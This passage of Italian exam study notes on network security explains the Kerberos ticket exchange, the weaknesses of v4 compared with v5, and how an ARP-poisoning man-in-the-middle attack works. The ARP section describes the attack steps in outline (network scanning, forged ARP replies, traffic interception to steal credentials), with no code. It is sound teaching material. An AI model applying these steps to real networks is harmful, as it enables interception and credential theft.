    - **Richiesta di accesso al servizio:** ovvero Il client utilizza il ticket ricevuto (KTGS(TC, TGS)) per richiedere l'accesso a un servizio specifico, indicato come M. Invia al TGS.
        - Client → TGS: {M, KTGS(TC, TGS), KC,TGS(AC)}
            - Il ticket ricevuto dal KDC (KTGS(TC, TGS)).
            - Un authenticator (KC,TGS(AC)), cifrato con la chiave di sessione condivisa (KC,TGS), contenente l'identità del client, un timestamp e altri dati utili.
    - Risposta del TGS: Il TGS verifica il ticket e l'authenticator e, se validi, invia al client:
        - TGS → Client: {KM(TC, M), KC,M}
            - Un ticket per il servizio M (KM(TC, M)), cifrato con la chiave segreta del servizio (KM).
            - Una nuova chiave di sessione (KC,M), condivisa tra il client e il servizio M.

A questo punto, il client può comunicare in modo sicuro con il servizio M utilizzando il ticket e la chiave di sessione ottenuti.

Un ticket di Kerberos è essenzialmente un pacchetto di dati che include informazioni come il nome del client e il server. Questo ticket è cifrato con la chiave segreta del server, che solo il server ed il KDC conoscono:

- T c,s= {S,C, sddress of C, timestamp, TTL, K c,s}:
  - S: identifica il servizio a quale il client vuole accedere;
  - C: identifica il client che sta facendo la richiesta;
  - Address of C: L'indirizzo di rete (IP) del client;
  - Timestamp: indica il momento in cui il ticket è stato emesso;
  - TTL (time to live): indica il tempo di validità del ticket;
  - Kc,s: Una chiave di sessione simmetrica condivisa tra C ed S, verrà utilizzata da entrambi per cifrare le comunicazioni durante la sessione;

Problemi di sicurezza in kerberos v4 e differenze con la v5:

- **Uso del DES**: Utilizza Des per la crittografia, ormai considerato insicuro.
  - La v5 di kerberos supporta AES che è migliore.
- **Replay Attack**: un attacco che si basa sul riutilizzo di un ticket gia' usato ed intercettato.
  - Nella v5 il problema e' mitigato in quanto include meccanismi di cache per prevenire l'uso ripetuto degli stessi autenticatori.
- **Richieste non autenticate**: nella v4 le richieste di ticket al KDC non sono autenticate. Un attaccante potrebbe chiedere un ticket cifrato con la chiave segreta di un client e poi tentare un bruteforce per decifrarlo.
  - Nella v5 kerberos richiede che il client includa un timestamp nella richiesta, migliorando la sicurezza contro questi attacchi.
- **Attacchi di reflection**: sfruttano la simmetria della comunicazione in Kerberos, dove lo stesso testo cirrato viene utilizzato in entrambe le direzioni. Un attaccante potrebbe manipolare il testo cifrato in modo da indurre il server ad eseguire un comando scelto dall'attaccante.
  - Kerberos v5 utilizza 2 chiavi diverse per le comunicazioni dal client al server e viceversa.

Si descrivano i passi necessari a compiere un attacco di tipo man-in-the-middle con la tecnica dell'ARP poisoning ed il contesto dove tale attacco è possibile

Un attacco **Man-in-the-Middle (MITM)** tramite **ARP Poisoning** sfrutta la vulnerabilità del protocollo ARP (Address Resolution Protocol) per intercettare, manipolare o reindirizzare il traffico tra due dispositivi su una rete locale (LAN). Questo tipo di attacco è possibile solo in reti che utilizzano ARP, come quelle Ethernet e IPv4.

ARP: sta per **Address Resolution Protocol**. È un protocollo di rete utilizzato per mappare (associare) un indirizzo IP a un indirizzo MAC (Media Access Control) su una rete locale, come una LAN. Un host invia una richiesta ARP ("Chi ha l'indirizzo IP X?") e il dispositivo con quell'indirizzo IP risponde fornendo il proprio indirizzo MAC. ARP non include meccanismi di autenticazione, quindi un attaccante può inviare risposte ARP false per alterare la mappatura tra indirizzi IP e MAC.

Attacco ARP poisoning:

- Posizionamento nella rete: Il requisito fondamentale e' quello di posizionarsi all'interno della rete locale delle vittime.
- Scoperta rete: si scansiona la rete per identificare l'indirizzo IP e MAC del gateway e delle potenziali vittime. (si puo usare ad es. nmap)
- Avvelenamento della cache ARP: si inviano:
    - pacchetti falsi alla vittima dicendo che il proprio MAC corrisponde all'IP del gateway.
    - Pacchetti al gateway dicendo che il proprio indirizzo MAC corrisponde all'IP della vittima.

  Ora tutto il traffico tra il gateway e la vittima passano attraverso l'attaccante, in questo modo puo' intercettare ed analizzare i pacchetti di rete per rubare le credenziali, alterare i dati prima che arrivino o deviare i dati verso un server controllato dall'attaccante.

Tale attacco e' possibile quindi in reti che utilizzano il protocollo ARP, senza protezioni come ARP statico o autenticazione 802.1X, quindi Wifi pubbliche o aperte, LAN aziendali malconfigurate o reti senza segmentazione adeguata (mancanza di VLAN).